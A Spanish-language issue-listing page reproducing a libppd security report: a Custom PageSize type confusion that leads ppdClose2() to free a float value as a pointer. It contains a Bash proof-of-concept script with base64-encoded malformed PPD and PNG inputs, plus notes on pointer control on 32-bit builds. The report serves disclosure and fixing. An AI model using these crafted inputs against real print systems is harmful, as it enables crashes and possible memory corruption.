Hacktoberfest 2026: los issues que los mantenedores marcaron para octubre, abiertos y aptos para principiantes. Explorar issues de Hacktoberfest

libppd: Custom PageSize type confusion reaches an invalid free

Abierto
#83 0 comentarios 0 reacciones 0 asignados Ver en GitHub

Nadie ha tomado este issue todavía.

Evaluación

Dificultad
4/5
Tiempo estimado
3-5 días
Aptitud para principiantes
55/100
Tipo de issue
Error
Claridad
Bien especificado
Estado de actividad
Tranquilo
Stack tecnológico
c
Área
security

Línea de trabajo

Comienza con ppd.c y ppd-page.c:128; después, sigue la limpieza de ppdClose2() para el tipo declarado Custom PageSize. Usa poc/printer.ppd y reproduce.sh, comparando los controles de string y points. Se considera completado cuando las dimensiones string se rechazan o se manejan de forma segura, la limpieza no libera un valor union sobrescrito y la reproducción deja de abortar.

Escrito por el modelo de indexación a partir del texto del issue.

Descripción

Summary

The PPD loader accepts Width or Height parameters of Custom PageSize with
a string type. Page-size handling later writes a numeric point value through
the same union, while cleanup still treats the field as an owned string
pointer and calls free() on it.

Validated libppd source:

  • tested build: 522af8dd135f4dde66b1aac8b9d067808bbe122d
  • current upstream HEAD: fc41539f761286396a7df8aeeda762070192e37e

The relevant parser, page, and cleanup sources are byte-identical at current
upstream HEAD.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.

poc/printer.ppd, SHA-256
039f50e1ef24c8ca9bf6b859bd277b035fa0b6337b51ff96fbcc154b922c2937,
is a five-line, 221-byte PPD. It declares Custom PageSize Height as string
and selects Custom.100x200 by default. Run ./reproduce.sh; changing only
string to points is the non-crashing control.

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: libppd: Custom PageSize type confusion reaches an invalid free
# Finding ID: libppd-custom-pagesize-type-confusion-invalid-free
# Trigger: The PPD loader accepts Width or Height parameters of Custom
# PageSize with a string type. Page-size handling later writes a numeric point
# value through the same union, while cleanup still treats the field as an
# owned string pointer and calls free() on it.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_0

# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (221 bytes)
write_file printer.ppd 039f50e1ef24c8ca9bf6b859bd277b035fa0b6337b51ff96fbcc154b922c2937 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA11OTwuCMBS/+ykeOwrpnGEkImQeCjoIdYsOK19roE7mFtKnbyJ26PD4wfv99auq
XO1qdccUyDqIieeX+OS2MRUXeJYf99/bwag2iCgdGaWevzBwQmNQhzM4f5aFC3dNIgabLbuFx5YL
2YmiUCN0tmnyfEDTO1mNb/lAMuVp3s4lv+gDSvEyKTAYjHZ2iBNwA1z7n/Ci7TS9Vz38HfG+M/Hj
et0AAAA=
POC_PAYLOAD_1

Result

The real imagetops pipeline writes 1,405 PostScript bytes and then aborts
during ppdClose2() at ppd.c:233. ASan reports allocator access at
0x4347fff0 for free(0x43480000), the float representation of 200.0;
the uninstrumented process exits 139.

On 64-bit builds the numeric page dimension is written as a 32-bit float into
a zero-initialized pointer union, so the demonstrated pointer remains in the
low 4 GiB and normally faults rather than freeing a live heap object. On a
32-bit build the same type confusion gives materially more pointer control.
No arbitrary free of a mapped object or subsequent controlled write is proven.

Control runs with dimensions 200 and 300, selected either by the PPD
default or a job option, move the free() argument from 0x43480000 to
0x43960000. This confirms numeric pointer control, while also confirming the
64-bit low-address limitation.

Cause and expected behavior

ppd.c accepts string for ParamCustomPageSize Height.
ppd-page.c:128 later stores a float in current.custom_points.
ppdClose2() selects cleanup by the declared type and frees
current.custom_string.

Custom PageSize Width and Height must be restricted to the required points
type. Cleanup should only free fields that currently own an allocated string,
not a union member overwritten through another type.

Lenguaje dominante
C
Estrellas
5
Forks
30
Métricas de merge de PR
Sin PR fusionados en 30 d

Preparar el entorno

Primeros pasos

  1. Lee el issue completo y luego la guía de contribución del proyecto.
  2. Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
  3. Haz un fork del repositorio y trabaja en una rama.
  4. Abre un pull request que haga referencia al número del issue.

Más de OpenPrinting/libppd

Todos los issues de OpenPrinting/libppd

Issues similares

Más issues de C

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.